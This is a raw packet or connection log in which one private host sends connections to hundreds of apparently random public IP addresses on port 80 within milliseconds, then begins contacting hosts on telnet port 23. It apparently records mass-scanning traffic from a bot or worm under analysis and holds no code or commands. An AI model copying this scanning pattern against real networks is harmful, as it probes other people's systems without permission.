Jan 30, 2025 10:43:06.489501953 CET	62855	80	192.168.2.14	88.240.238.159
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	178.235.126.149
Jan 30, 2025 10:43:06.489495993 CET	62855	80	192.168.2.14	40.39.22.91
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	116.42.245.172
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	52.48.44.159
Jan 30, 2025 10:43:06.489501953 CET	62855	80	192.168.2.14	178.238.2.145
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	80.160.27.175
Jan 30, 2025 10:43:06.489501953 CET	62855	80	192.168.2.14	42.44.4.238
Jan 30, 2025 10:43:06.489496946 CET	62855	80	192.168.2.14	57.93.79.160
Jan 30, 2025 10:43:06.489548922 CET	62855	80	192.168.2.14	209.151.189.149
Jan 30, 2025 10:43:06.489548922 CET	62855	80	192.168.2.14	48.10.13.42
Jan 30, 2025 10:43:06.489548922 CET	62855	80	192.168.2.14	179.140.4.148
Jan 30, 2025 10:43:06.489548922 CET	62855	80	192.168.2.14	49.146.191.64
Jan 30, 2025 10:43:06.489550114 CET	62855	80	192.168.2.14	103.108.227.235
Jan 30, 2025 10:43:06.489550114 CET	62855	80	192.168.2.14	122.176.178.69
Jan 30, 2025 10:43:06.489578962 CET	62855	80	192.168.2.14	81.228.217.212
Jan 30, 2025 10:43:06.489578962 CET	62855	80	192.168.2.14	45.174.250.120
Jan 30, 2025 10:43:06.489578962 CET	62855	80	192.168.2.14	49.211.31.49
Jan 30, 2025 10:43:06.489578962 CET	62855	80	192.168.2.14	63.8.141.2
Jan 30, 2025 10:43:06.489583969 CET	62855	80	192.168.2.14	201.103.23.192
Jan 30, 2025 10:43:06.489583969 CET	62855	80	192.168.2.14	24.207.47.241
Jan 30, 2025 10:43:06.489583969 CET	62855	80	192.168.2.14	88.224.42.22
Jan 30, 2025 10:43:06.489584923 CET	62855	80	192.168.2.14	66.2.43.233
Jan 30, 2025 10:43:06.489583969 CET	62855	80	192.168.2.14	218.42.137.132
Jan 30, 2025 10:43:06.489584923 CET	62855	80	192.168.2.14	150.240.134.27
Jan 30, 2025 10:43:06.489583969 CET	62855	80	192.168.2.14	36.43.79.103
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	157.230.116.134
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	57.216.171.62
Jan 30, 2025 10:43:06.489584923 CET	62855	80	192.168.2.14	173.54.135.165
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	213.234.40.21
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	189.130.74.209
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	42.200.29.80
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	146.132.102.95
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	182.26.160.168
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	213.208.223.85
Jan 30, 2025 10:43:06.489584923 CET	62855	80	192.168.2.14	212.254.173.68
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	205.175.30.232
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	134.64.148.243
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	183.68.84.16
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	113.22.255.180
Jan 30, 2025 10:43:06.489583969 CET	62855	80	192.168.2.14	39.147.223.78
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	129.157.54.25
Jan 30, 2025 10:43:06.489583969 CET	62855	80	192.168.2.14	106.188.79.73
Jan 30, 2025 10:43:06.489584923 CET	62855	80	192.168.2.14	39.102.155.244
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	4.72.150.103
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	155.128.84.220
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	83.233.173.172
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	124.13.85.48
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	57.26.102.28
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	199.218.77.58
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	37.71.130.17
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	19.206.36.64
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	132.116.243.115
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	62.182.70.234
Jan 30, 2025 10:43:06.489583969 CET	62855	80	192.168.2.14	185.27.133.96
Jan 30, 2025 10:43:06.489584923 CET	62855	80	192.168.2.14	213.111.85.22
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	79.166.103.42
Jan 30, 2025 10:43:06.489584923 CET	62855	80	192.168.2.14	140.30.131.116
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	101.3.220.153
Jan 30, 2025 10:43:06.489584923 CET	62855	80	192.168.2.14	143.30.7.102
Jan 30, 2025 10:43:06.489587069 CET	62855	80	192.168.2.14	155.196.14.175
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	191.57.182.129
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	152.119.224.47
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	91.165.30.240
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	34.192.49.254
Jan 30, 2025 10:43:06.489586115 CET	62855	80	192.168.2.14	115.146.180.52
Jan 30, 2025 10:43:06.489620924 CET	62855	80	192.168.2.14	150.107.182.64
Jan 30, 2025 10:43:06.489620924 CET	62855	80	192.168.2.14	58.155.233.204
Jan 30, 2025 10:43:06.489620924 CET	62855	80	192.168.2.14	195.91.232.240
Jan 30, 2025 10:43:06.489620924 CET	62855	80	192.168.2.14	107.207.33.87
Jan 30, 2025 10:43:06.489624977 CET	62855	80	192.168.2.14	153.7.102.47
Jan 30, 2025 10:43:06.489624977 CET	62855	80	192.168.2.14	78.226.217.106
Jan 30, 2025 10:43:06.489624977 CET	62855	80	192.168.2.14	135.181.37.182
Jan 30, 2025 10:43:06.489624977 CET	62855	80	192.168.2.14	54.217.248.61
Jan 30, 2025 10:43:06.489624977 CET	62855	80	192.168.2.14	91.56.198.20
Jan 30, 2025 10:43:06.489624977 CET	62855	80	192.168.2.14	183.49.193.27
Jan 30, 2025 10:43:06.489631891 CET	62855	80	192.168.2.14	41.162.118.125
Jan 30, 2025 10:43:06.489631891 CET	62855	80	192.168.2.14	187.6.199.27
Jan 30, 2025 10:43:06.489631891 CET	62855	80	192.168.2.14	53.205.40.0
Jan 30, 2025 10:43:06.489631891 CET	62855	80	192.168.2.14	183.175.120.67
Jan 30, 2025 10:43:06.489633083 CET	62855	80	192.168.2.14	60.203.17.33
Jan 30, 2025 10:43:06.489631891 CET	62855	80	192.168.2.14	95.183.185.243
Jan 30, 2025 10:43:06.489633083 CET	62855	80	192.168.2.14	175.167.61.98
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	148.67.28.66
Jan 30, 2025 10:43:06.489631891 CET	62855	80	192.168.2.14	177.222.102.2
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	132.2.142.60
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	188.229.164.74
Jan 30, 2025 10:43:06.489633083 CET	62855	80	192.168.2.14	61.123.166.252
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	182.48.4.33
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	167.9.187.148
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	195.63.219.105
Jan 30, 2025 10:43:06.489641905 CET	62855	80	192.168.2.14	97.194.152.154
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	94.224.119.66
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	23.73.192.219
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	207.93.163.97
Jan 30, 2025 10:43:06.489641905 CET	62855	80	192.168.2.14	149.169.133.142
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	202.187.26.21
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	175.56.178.196
Jan 30, 2025 10:43:06.489646912 CET	62855	80	192.168.2.14	107.207.251.232
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	195.60.99.132
Jan 30, 2025 10:43:06.489641905 CET	62855	80	192.168.2.14	178.106.126.84
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	144.115.18.131
Jan 30, 2025 10:43:06.489641905 CET	62855	80	192.168.2.14	200.148.234.149
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	137.77.253.173
Jan 30, 2025 10:43:06.489633083 CET	62855	80	192.168.2.14	134.248.190.242
Jan 30, 2025 10:43:06.489641905 CET	62855	80	192.168.2.14	112.118.143.234
Jan 30, 2025 10:43:06.489655972 CET	62855	80	192.168.2.14	41.106.172.161
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	143.167.5.219
Jan 30, 2025 10:43:06.489641905 CET	62855	80	192.168.2.14	186.119.207.56
Jan 30, 2025 10:43:06.489633083 CET	62855	80	192.168.2.14	74.44.226.28
Jan 30, 2025 10:43:06.489660025 CET	62855	80	192.168.2.14	196.236.151.126
Jan 30, 2025 10:43:06.489633083 CET	62855	80	192.168.2.14	145.83.232.8
Jan 30, 2025 10:43:06.489660025 CET	62855	80	192.168.2.14	77.219.42.116
Jan 30, 2025 10:43:06.489661932 CET	62855	80	192.168.2.14	179.121.55.136
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	97.38.11.207
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	72.219.240.240
Jan 30, 2025 10:43:06.489660025 CET	62855	80	192.168.2.14	70.89.159.166
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	113.102.117.40
Jan 30, 2025 10:43:06.489641905 CET	62855	80	192.168.2.14	27.100.60.118
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	57.69.180.117
Jan 30, 2025 10:43:06.489641905 CET	62855	80	192.168.2.14	167.133.255.163
Jan 30, 2025 10:43:06.489635944 CET	62855	80	192.168.2.14	85.81.72.22
Jan 30, 2025 10:43:06.489660025 CET	62855	80	192.168.2.14	90.98.214.67
Jan 30, 2025 10:43:06.489660025 CET	62855	80	192.168.2.14	45.75.1.153
Jan 30, 2025 10:43:06.489660025 CET	62855	80	192.168.2.14	108.59.75.177
Jan 30, 2025 10:43:06.489676952 CET	62855	80	192.168.2.14	43.217.99.217
Jan 30, 2025 10:43:06.489676952 CET	62855	80	192.168.2.14	57.250.155.109
Jan 30, 2025 10:43:06.489676952 CET	62855	80	192.168.2.14	95.141.124.233
Jan 30, 2025 10:43:06.489676952 CET	62855	80	192.168.2.14	201.89.83.248
Jan 30, 2025 10:43:06.489679098 CET	62855	80	192.168.2.14	197.134.205.61
Jan 30, 2025 10:43:06.489679098 CET	62855	80	192.168.2.14	41.164.22.160
Jan 30, 2025 10:43:06.489679098 CET	62855	80	192.168.2.14	186.65.181.143
Jan 30, 2025 10:43:06.489679098 CET	62855	80	192.168.2.14	202.108.243.141
Jan 30, 2025 10:43:06.489679098 CET	62855	80	192.168.2.14	139.161.94.173
Jan 30, 2025 10:43:06.489682913 CET	62855	80	192.168.2.14	197.38.240.34
Jan 30, 2025 10:43:06.489682913 CET	62855	80	192.168.2.14	184.21.255.117
Jan 30, 2025 10:43:06.489682913 CET	62855	80	192.168.2.14	138.222.90.4
Jan 30, 2025 10:43:06.489682913 CET	62855	80	192.168.2.14	12.53.195.148
Jan 30, 2025 10:43:06.489682913 CET	62855	80	192.168.2.14	63.15.123.131
Jan 30, 2025 10:43:06.489682913 CET	62855	80	192.168.2.14	65.32.177.85
Jan 30, 2025 10:43:06.489682913 CET	62855	80	192.168.2.14	96.135.241.131
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	113.63.58.186
Jan 30, 2025 10:43:06.489682913 CET	62855	80	192.168.2.14	109.178.45.152
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	105.142.115.158
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	136.156.218.179
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	189.115.92.246
Jan 30, 2025 10:43:06.489687920 CET	62855	80	192.168.2.14	44.51.117.136
Jan 30, 2025 10:43:06.489682913 CET	62855	80	192.168.2.14	159.156.45.29
Jan 30, 2025 10:43:06.489687920 CET	62855	80	192.168.2.14	199.155.198.194
Jan 30, 2025 10:43:06.489691019 CET	62855	80	192.168.2.14	124.18.12.94
Jan 30, 2025 10:43:06.489686012 CET	62855	80	192.168.2.14	194.53.197.240
Jan 30, 2025 10:43:06.489687920 CET	62855	80	192.168.2.14	128.138.146.200
Jan 30, 2025 10:43:06.489691019 CET	62855	80	192.168.2.14	201.4.225.87
Jan 30, 2025 10:43:06.489687920 CET	62855	80	192.168.2.14	80.55.163.214
Jan 30, 2025 10:43:06.489691019 CET	62855	80	192.168.2.14	92.36.98.110
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	117.108.219.198
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	141.39.3.46
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	52.10.77.88
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	19.163.244.5
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	198.98.178.174
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	182.143.51.193
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	68.14.78.32
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	186.124.33.211
Jan 30, 2025 10:43:06.489685059 CET	62855	80	192.168.2.14	60.105.213.243
Jan 30, 2025 10:43:06.489706039 CET	62855	80	192.168.2.14	73.177.103.26
Jan 30, 2025 10:43:06.489711046 CET	62855	80	192.168.2.14	150.185.142.237
Jan 30, 2025 10:43:06.489716053 CET	62855	80	192.168.2.14	197.48.7.62
Jan 30, 2025 10:43:06.489716053 CET	62855	80	192.168.2.14	100.0.165.33
Jan 30, 2025 10:43:06.489717007 CET	62855	80	192.168.2.14	155.29.165.235
Jan 30, 2025 10:43:06.489726067 CET	62855	80	192.168.2.14	9.170.142.176
Jan 30, 2025 10:43:06.489741087 CET	62855	80	192.168.2.14	109.10.230.41
Jan 30, 2025 10:43:06.489741087 CET	62855	80	192.168.2.14	9.7.78.118
Jan 30, 2025 10:43:06.489748001 CET	62855	80	192.168.2.14	49.22.158.61
Jan 30, 2025 10:43:06.489759922 CET	62855	80	192.168.2.14	90.40.167.95
Jan 30, 2025 10:43:06.489761114 CET	62855	80	192.168.2.14	35.51.192.12
Jan 30, 2025 10:43:06.489768028 CET	62855	80	192.168.2.14	179.236.215.158
Jan 30, 2025 10:43:06.489778996 CET	62855	80	192.168.2.14	81.22.43.218
Jan 30, 2025 10:43:06.489784956 CET	62855	80	192.168.2.14	27.250.235.119
Jan 30, 2025 10:43:06.489789963 CET	62855	80	192.168.2.14	41.99.161.21
Jan 30, 2025 10:43:06.489790916 CET	62855	80	192.168.2.14	70.14.237.170
Jan 30, 2025 10:43:06.489806890 CET	62855	80	192.168.2.14	115.247.246.79
Jan 30, 2025 10:43:06.489806890 CET	62855	80	192.168.2.14	185.122.85.208
Jan 30, 2025 10:43:06.489809036 CET	62855	80	192.168.2.14	68.99.161.255
Jan 30, 2025 10:43:06.489815950 CET	62855	80	192.168.2.14	211.33.160.250
Jan 30, 2025 10:43:06.489825010 CET	62855	80	192.168.2.14	176.142.124.171
Jan 30, 2025 10:43:06.489833117 CET	62855	80	192.168.2.14	72.40.118.32
Jan 30, 2025 10:43:06.489839077 CET	62855	80	192.168.2.14	8.126.111.130
Jan 30, 2025 10:43:06.489839077 CET	62855	80	192.168.2.14	34.47.9.209
Jan 30, 2025 10:43:06.489851952 CET	62855	80	192.168.2.14	42.79.192.174
Jan 30, 2025 10:43:06.489851952 CET	62855	80	192.168.2.14	137.179.127.21
Jan 30, 2025 10:43:06.489856958 CET	62855	80	192.168.2.14	38.4.71.235
Jan 30, 2025 10:43:06.489873886 CET	62855	80	192.168.2.14	68.138.169.209
Jan 30, 2025 10:43:06.489880085 CET	62855	80	192.168.2.14	38.53.189.183
Jan 30, 2025 10:43:06.489885092 CET	62855	80	192.168.2.14	42.212.227.206
Jan 30, 2025 10:43:06.489885092 CET	62855	80	192.168.2.14	141.162.72.91
Jan 30, 2025 10:43:06.489887953 CET	62855	80	192.168.2.14	72.188.93.244
Jan 30, 2025 10:43:06.489892960 CET	62855	80	192.168.2.14	211.113.149.250
Jan 30, 2025 10:43:06.489892960 CET	62855	80	192.168.2.14	114.131.80.188
Jan 30, 2025 10:43:06.489901066 CET	62855	80	192.168.2.14	167.254.78.182
Jan 30, 2025 10:43:06.489907980 CET	62855	80	192.168.2.14	194.229.123.157
Jan 30, 2025 10:43:06.489918947 CET	62855	80	192.168.2.14	206.255.65.155
Jan 30, 2025 10:43:06.489931107 CET	62855	80	192.168.2.14	86.186.246.57
Jan 30, 2025 10:43:06.489931107 CET	62855	80	192.168.2.14	109.150.21.88
Jan 30, 2025 10:43:06.489931107 CET	62855	80	192.168.2.14	165.231.36.75
Jan 30, 2025 10:43:06.489937067 CET	62855	80	192.168.2.14	79.208.41.212
Jan 30, 2025 10:43:06.489938974 CET	62855	80	192.168.2.14	12.78.221.149
Jan 30, 2025 10:43:06.489953995 CET	62855	80	192.168.2.14	191.0.183.99
Jan 30, 2025 10:43:06.489957094 CET	62855	80	192.168.2.14	61.45.132.68
Jan 30, 2025 10:43:06.489957094 CET	62855	80	192.168.2.14	190.97.110.100
Jan 30, 2025 10:43:06.489958048 CET	62855	80	192.168.2.14	192.13.0.65
Jan 30, 2025 10:43:06.489963055 CET	62855	80	192.168.2.14	41.205.185.255
Jan 30, 2025 10:43:06.489979029 CET	62855	80	192.168.2.14	206.70.9.56
Jan 30, 2025 10:43:06.489981890 CET	62855	80	192.168.2.14	175.112.139.192
Jan 30, 2025 10:43:06.489985943 CET	62855	80	192.168.2.14	121.2.255.105
Jan 30, 2025 10:43:06.489988089 CET	62855	80	192.168.2.14	79.230.90.147
Jan 30, 2025 10:43:06.489995956 CET	62855	80	192.168.2.14	88.34.75.152
Jan 30, 2025 10:43:06.490006924 CET	62855	80	192.168.2.14	194.210.6.136
Jan 30, 2025 10:43:06.490010977 CET	62855	80	192.168.2.14	20.183.17.117
Jan 30, 2025 10:43:06.490011930 CET	62855	80	192.168.2.14	13.147.168.17
Jan 30, 2025 10:43:06.490019083 CET	62855	80	192.168.2.14	145.148.69.0
Jan 30, 2025 10:43:06.490032911 CET	62855	80	192.168.2.14	122.128.100.143
Jan 30, 2025 10:43:06.490034103 CET	62855	80	192.168.2.14	69.66.248.234
Jan 30, 2025 10:43:06.490040064 CET	62855	80	192.168.2.14	222.10.61.71
Jan 30, 2025 10:43:06.490040064 CET	62855	80	192.168.2.14	32.40.130.42
Jan 30, 2025 10:43:06.490053892 CET	62855	80	192.168.2.14	142.56.209.103
Jan 30, 2025 10:43:06.490066051 CET	62855	80	192.168.2.14	177.65.44.91
Jan 30, 2025 10:43:06.490066051 CET	62855	80	192.168.2.14	145.112.34.208
Jan 30, 2025 10:43:06.490078926 CET	62855	80	192.168.2.14	80.223.30.44
Jan 30, 2025 10:43:06.490082979 CET	62855	80	192.168.2.14	115.56.177.230
Jan 30, 2025 10:43:06.490087032 CET	62855	80	192.168.2.14	117.7.21.15
Jan 30, 2025 10:43:06.490102053 CET	62855	80	192.168.2.14	186.153.224.32
Jan 30, 2025 10:43:06.490102053 CET	62855	80	192.168.2.14	217.8.38.15
Jan 30, 2025 10:43:06.490106106 CET	62855	80	192.168.2.14	1.174.0.175
Jan 30, 2025 10:43:06.490112066 CET	62855	80	192.168.2.14	32.85.78.192
Jan 30, 2025 10:43:06.490128994 CET	62855	80	192.168.2.14	116.98.130.107
Jan 30, 2025 10:43:06.490138054 CET	62855	80	192.168.2.14	143.175.80.177
Jan 30, 2025 10:43:06.490145922 CET	62855	80	192.168.2.14	205.146.64.230
Jan 30, 2025 10:43:06.490159988 CET	62855	80	192.168.2.14	141.149.200.224
Jan 30, 2025 10:43:06.490164042 CET	62855	80	192.168.2.14	60.202.31.19
Jan 30, 2025 10:43:06.490165949 CET	62855	80	192.168.2.14	155.122.235.175
Jan 30, 2025 10:43:06.490170956 CET	62855	80	192.168.2.14	117.110.126.165
Jan 30, 2025 10:43:06.490171909 CET	62855	80	192.168.2.14	221.84.222.5
Jan 30, 2025 10:43:06.490190983 CET	62855	80	192.168.2.14	62.22.200.42
Jan 30, 2025 10:43:06.490192890 CET	62855	80	192.168.2.14	217.142.227.243
Jan 30, 2025 10:43:06.490192890 CET	62855	80	192.168.2.14	118.93.179.211
Jan 30, 2025 10:43:06.490194082 CET	62855	80	192.168.2.14	103.13.152.91
Jan 30, 2025 10:43:06.490196943 CET	62855	80	192.168.2.14	119.51.155.48
Jan 30, 2025 10:43:06.490200996 CET	62855	80	192.168.2.14	210.19.204.122
Jan 30, 2025 10:43:06.490212917 CET	62855	80	192.168.2.14	88.236.178.212
Jan 30, 2025 10:43:06.490215063 CET	62855	80	192.168.2.14	191.193.200.127
Jan 30, 2025 10:43:06.490217924 CET	62855	80	192.168.2.14	52.203.93.82
Jan 30, 2025 10:43:06.490219116 CET	62855	80	192.168.2.14	119.155.122.131
Jan 30, 2025 10:43:06.490221024 CET	62855	80	192.168.2.14	130.96.27.84
Jan 30, 2025 10:43:06.490221024 CET	62855	80	192.168.2.14	59.161.209.172
Jan 30, 2025 10:43:06.490232944 CET	62855	80	192.168.2.14	76.169.239.160
Jan 30, 2025 10:43:06.490238905 CET	62855	80	192.168.2.14	172.253.237.236
Jan 30, 2025 10:43:06.490242958 CET	62855	80	192.168.2.14	197.51.44.55
Jan 30, 2025 10:43:06.490247965 CET	62855	80	192.168.2.14	117.53.11.195
Jan 30, 2025 10:43:06.490250111 CET	62855	80	192.168.2.14	223.82.217.99
Jan 30, 2025 10:43:06.490258932 CET	62855	80	192.168.2.14	223.255.253.144
Jan 30, 2025 10:43:06.490269899 CET	62855	80	192.168.2.14	144.26.59.208
Jan 30, 2025 10:43:06.490272045 CET	62855	80	192.168.2.14	1.127.175.155
Jan 30, 2025 10:43:06.490277052 CET	62855	80	192.168.2.14	12.67.133.5
Jan 30, 2025 10:43:06.490287066 CET	62855	80	192.168.2.14	180.250.164.154
Jan 30, 2025 10:43:06.490287066 CET	62855	80	192.168.2.14	206.255.213.169
Jan 30, 2025 10:43:06.490287066 CET	62855	80	192.168.2.14	79.204.143.115
Jan 30, 2025 10:43:06.490287066 CET	62855	80	192.168.2.14	204.227.191.89
Jan 30, 2025 10:43:06.490304947 CET	62855	80	192.168.2.14	77.108.247.240
Jan 30, 2025 10:43:06.490309954 CET	62855	80	192.168.2.14	157.81.86.49
Jan 30, 2025 10:43:06.490310907 CET	62855	80	192.168.2.14	202.5.139.62
Jan 30, 2025 10:43:06.490326881 CET	62855	80	192.168.2.14	88.69.105.114
Jan 30, 2025 10:43:06.490328074 CET	62855	80	192.168.2.14	176.164.53.201
Jan 30, 2025 10:43:06.490328074 CET	62855	80	192.168.2.14	146.4.140.146
Jan 30, 2025 10:43:06.490328074 CET	62855	80	192.168.2.14	57.254.248.230
Jan 30, 2025 10:43:06.490335941 CET	62855	80	192.168.2.14	181.126.139.122
Jan 30, 2025 10:43:06.490339994 CET	62855	80	192.168.2.14	46.69.141.57
Jan 30, 2025 10:43:06.490354061 CET	62855	80	192.168.2.14	141.132.100.223
Jan 30, 2025 10:43:06.490354061 CET	62855	80	192.168.2.14	117.187.126.80
Jan 30, 2025 10:43:06.490355015 CET	62855	80	192.168.2.14	1.166.169.61
Jan 30, 2025 10:43:06.490375996 CET	62855	80	192.168.2.14	61.199.130.222
Jan 30, 2025 10:43:06.490380049 CET	62855	80	192.168.2.14	54.131.34.89
Jan 30, 2025 10:43:06.490381956 CET	62855	80	192.168.2.14	181.4.58.222
Jan 30, 2025 10:43:06.490382910 CET	62855	80	192.168.2.14	181.152.65.61
Jan 30, 2025 10:43:06.490382910 CET	62855	80	192.168.2.14	31.74.54.6
Jan 30, 2025 10:43:06.494415998 CET	80	62855	51.121.157.167	192.168.2.14
Jan 30, 2025 10:43:06.494425058 CET	80	62855	97.108.248.57	192.168.2.14
Jan 30, 2025 10:43:06.494432926 CET	80	62855	68.138.249.105	192.168.2.14
Jan 30, 2025 10:43:06.494436979 CET	80	62855	106.111.211.33	192.168.2.14
Jan 30, 2025 10:43:06.494440079 CET	80	62855	99.52.36.64	192.168.2.14
Jan 30, 2025 10:43:06.494443893 CET	80	62855	63.123.128.167	192.168.2.14
Jan 30, 2025 10:43:06.494452000 CET	80	62855	86.228.157.254	192.168.2.14
Jan 30, 2025 10:43:06.494457006 CET	80	62855	104.234.182.98	192.168.2.14
Jan 30, 2025 10:43:06.494465113 CET	80	62855	74.171.106.18	192.168.2.14
Jan 30, 2025 10:43:06.494498968 CET	62855	80	192.168.2.14	97.108.248.57
Jan 30, 2025 10:43:06.494498968 CET	62855	80	192.168.2.14	51.121.157.167
Jan 30, 2025 10:43:06.494498968 CET	62855	80	192.168.2.14	68.138.249.105
Jan 30, 2025 10:43:06.494498968 CET	62855	80	192.168.2.14	106.111.211.33
Jan 30, 2025 10:43:06.494498968 CET	62855	80	192.168.2.14	99.52.36.64
Jan 30, 2025 10:43:06.494503021 CET	62855	80	192.168.2.14	86.228.157.254
Jan 30, 2025 10:43:06.494513035 CET	62855	80	192.168.2.14	104.234.182.98
Jan 30, 2025 10:43:06.494515896 CET	62855	80	192.168.2.14	63.123.128.167
Jan 30, 2025 10:43:06.494515896 CET	62855	80	192.168.2.14	74.171.106.18
Jan 30, 2025 10:43:06.494699001 CET	80	62855	176.169.106.94	192.168.2.14
Jan 30, 2025 10:43:06.494708061 CET	80	62855	131.125.12.195	192.168.2.14
Jan 30, 2025 10:43:06.494716883 CET	80	62855	25.106.63.88	192.168.2.14
Jan 30, 2025 10:43:06.494726896 CET	80	62855	46.194.105.28	192.168.2.14
Jan 30, 2025 10:43:06.494744062 CET	80	62855	82.95.255.220	192.168.2.14
Jan 30, 2025 10:43:06.494745016 CET	62855	80	192.168.2.14	25.106.63.88
Jan 30, 2025 10:43:06.494745970 CET	62855	80	192.168.2.14	176.169.106.94
Jan 30, 2025 10:43:06.494745970 CET	62855	80	192.168.2.14	131.125.12.195
Jan 30, 2025 10:43:06.494752884 CET	80	62855	111.171.81.116	192.168.2.14
Jan 30, 2025 10:43:06.494766951 CET	62855	80	192.168.2.14	46.194.105.28
Jan 30, 2025 10:43:06.494766951 CET	62855	80	192.168.2.14	82.95.255.220
Jan 30, 2025 10:43:06.494786978 CET	62855	80	192.168.2.14	111.171.81.116
Jan 30, 2025 10:43:06.494839907 CET	80	62855	69.220.86.47	192.168.2.14
Jan 30, 2025 10:43:06.494851112 CET	80	62855	135.136.191.113	192.168.2.14
Jan 30, 2025 10:43:06.494858980 CET	80	62855	145.226.147.93	192.168.2.14
Jan 30, 2025 10:43:06.494869947 CET	80	62855	213.166.156.152	192.168.2.14
Jan 30, 2025 10:43:06.494879007 CET	80	62855	181.254.228.55	192.168.2.14
Jan 30, 2025 10:43:06.494885921 CET	80	62855	113.2.250.15	192.168.2.14
Jan 30, 2025 10:43:06.494888067 CET	62855	80	192.168.2.14	135.136.191.113
Jan 30, 2025 10:43:06.494889975 CET	62855	80	192.168.2.14	69.220.86.47
Jan 30, 2025 10:43:06.494893074 CET	62855	80	192.168.2.14	145.226.147.93
Jan 30, 2025 10:43:06.494896889 CET	80	62855	118.14.191.105	192.168.2.14
Jan 30, 2025 10:43:06.494903088 CET	62855	80	192.168.2.14	213.166.156.152
Jan 30, 2025 10:43:06.494909048 CET	80	62855	67.162.169.69	192.168.2.14
Jan 30, 2025 10:43:06.494910955 CET	62855	80	192.168.2.14	181.254.228.55
Jan 30, 2025 10:43:06.494914055 CET	62855	80	192.168.2.14	113.2.250.15
Jan 30, 2025 10:43:06.494918108 CET	80	62855	122.13.196.224	192.168.2.14
Jan 30, 2025 10:43:06.494927883 CET	80	62855	159.173.59.75	192.168.2.14
Jan 30, 2025 10:43:06.494939089 CET	80	62855	40.39.22.91	192.168.2.14
Jan 30, 2025 10:43:06.494945049 CET	62855	80	192.168.2.14	67.162.169.69
Jan 30, 2025 10:43:06.494944096 CET	62855	80	192.168.2.14	118.14.191.105
Jan 30, 2025 10:43:06.494944096 CET	62855	80	192.168.2.14	122.13.196.224
Jan 30, 2025 10:43:06.494970083 CET	62855	80	192.168.2.14	159.173.59.75
Jan 30, 2025 10:43:06.494971037 CET	62855	80	192.168.2.14	40.39.22.91
Jan 30, 2025 10:43:07.011846066 CET	63367	23	192.168.2.14	150.195.123.31
Jan 30, 2025 10:43:07.011848927 CET	63367	23	192.168.2.14	199.147.21.136
Jan 30, 2025 10:43:07.011848927 CET	63367	23	192.168.2.14	82.97.94.48
Jan 30, 2025 10:43:07.011846066 CET	63367	23	192.168.2.14	122.128.27.242
